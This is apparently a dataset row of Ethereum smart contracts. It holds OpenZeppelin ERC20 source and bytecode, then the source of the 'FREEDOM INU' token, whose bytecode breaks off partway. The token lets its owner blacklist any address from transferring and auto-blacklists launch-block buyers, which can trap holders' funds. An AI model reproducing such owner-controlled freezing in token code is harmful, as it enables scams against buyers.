event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_mint(msg.sender, totalSupply_);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e25565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610e0a565b60405180910390f35b610104610326565b6040516101119190610f27565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610e0a565b60405180910390f35b610152610428565b60405161015f9190610f42565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610e0a565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf9190610f27565b60405180910390f35b6101d0610525565b6040516101dd9190610e25565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610e0a565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610e0a565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d9190610f27565b60405180910390f35b60606003805461028590611057565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611057565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ea7565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610f79565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490611057565b80601f016020809104026020016040519081016040528092919081815260200182805461056090611057565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90610f07565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690610ee7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082690610e67565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610f27565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190610ec7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190610e47565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290610e87565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610f79565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610f27565b60405180910390a350505050565b505050565b600081359050610ba481611321565b92915050565b600081359050610bb981611338565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb881610fe1565b82525050565b6000610cc982610f5d565b610cd38185610f68565b9350610ce3818560208601611024565b610cec816110e7565b840191505092915050565b6000610d04602383610f68565b9150610d0f826110f8565b604082019050919050565b6000610d27602283610f68565b9150610d3282611147565b604082019050919050565b6000610d4a602683610f68565b9150610d5582611196565b604082019050919050565b6000610d6d602883610f68565b9150610d78826111e5565b604082019050919050565b6000610d90602583610f68565b9150610d9b82611234565b604082019050919050565b6000610db3602483610f68565b9150610dbe82611283565b604082019050919050565b6000610dd6602583610f68565b9150610de1826112d2565b604082019050919050565b610df58161100d565b82525050565b610e0481611017565b82525050565b6000602082019050610e1f6000830184610caf565b92915050565b60006020820190508181036000830152610e3f8184610cbe565b905092915050565b60006020820190508181036000830152610e6081610cf7565b9050919050565b60006020820190508181036000830152610e8081610d1a565b9050919050565b60006020820190508181036000830152610ea081610d3d565b9050919050565b60006020820190508181036000830152610ec081610d60565b9050919050565b60006020820190508181036000830152610ee081610d83565b9050919050565b60006020820190508181036000830152610f0081610da6565b9050919050565b60006020820190508181036000830152610f2081610dc9565b9050919050565b6000602082019050610f3c6000830184610dec565b92915050565b6000602082019050610f576000830184610dfb565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f848261100d565b9150610f8f8361100d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fc457610fc3611089565b5b828201905092915050565b6000610fda82610fed565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611042578082015181840152602081019050611027565b83811115611051576000848401525b50505050565b6000600282049050600182168061106f57607f821691505b60208210811415611083576110826110b8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61132a81610fcf565b811461133557600080fd5b50565b6113418161100d565b811461134c57600080fd5b5056fea264697066735822122027ea0428ecc66d48d76b98263a569d60433cb0b836b35913d0917f9f6bf9dc2f64736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 827 |
0xe43bc0086ce06044027fbdbf006ac75df8b35255 | //https://freedominu.world//
//https://t.me/freedominu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract FREEDOM is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "FREEDOM INU";
string private constant _symbol = "FREEDOM";
uint private constant _decimals = 9;
uint256 private _teamFee = 9;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f5578063cf0848f71461040a578063cf9d4afa1461042a578063dd62ed3e1461044a578063e6ec64ec14610490578063f2fde38b146104b057600080fd5b8063715018a6146103285780638da5cb5b1461033d57806390d49b9d1461036557806395d89b4114610385578063a9059cbb146103b5578063b515566a146103d557600080fd5b806331c2d8471161010857806331c2d847146102415780633bbac57914610261578063437823ec1461029a578063476343ee146102ba5780635342acb4146102cf57806370a082311461030857600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b857806318160ddd146101e857806323b872dd1461020d578063313ce5671461022d57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d0565b005b34801561017e57600080fd5b5060408051808201909152600b81526a46524545444f4d20494e5560a81b60208201525b6040516101af91906118f0565b60405180910390f35b3480156101c457600080fd5b506101d86101d336600461196a565b61051c565b60405190151581526020016101af565b3480156101f457600080fd5b50678ac7230489e800005b6040519081526020016101af565b34801561021957600080fd5b506101d8610228366004611996565b610533565b34801561023957600080fd5b5060096101ff565b34801561024d57600080fd5b5061017061025c3660046119ed565b61059c565b34801561026d57600080fd5b506101d861027c366004611ab2565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a657600080fd5b506101706102b5366004611ab2565b610632565b3480156102c657600080fd5b50610170610680565b3480156102db57600080fd5b506101d86102ea366004611ab2565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031457600080fd5b506101ff610323366004611ab2565b6106ba565b34801561033457600080fd5b506101706106dc565b34801561034957600080fd5b506000546040516001600160a01b0390911681526020016101af565b34801561037157600080fd5b50610170610380366004611ab2565b610712565b34801561039157600080fd5b5060408051808201909152600781526646524545444f4d60c81b60208201526101a2565b3480156103c157600080fd5b506101d86103d036600461196a565b61078c565b3480156103e157600080fd5b506101706103f03660046119ed565b610799565b34801561040157600080fd5b506101706108b2565b34801561041657600080fd5b50610170610425366004611ab2565b61096a565b34801561043657600080fd5b50610170610445366004611ab2565b6109b5565b34801561045657600080fd5b506101ff610465366004611acf565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049c57600080fd5b506101706104ab366004611b08565b610c10565b3480156104bc57600080fd5b506101706104cb366004611ab2565b610c86565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104fa90611b21565b60405180910390fd5b600061050e306106ba565b905061051981610d1e565b50565b6000610529338484610e98565b5060015b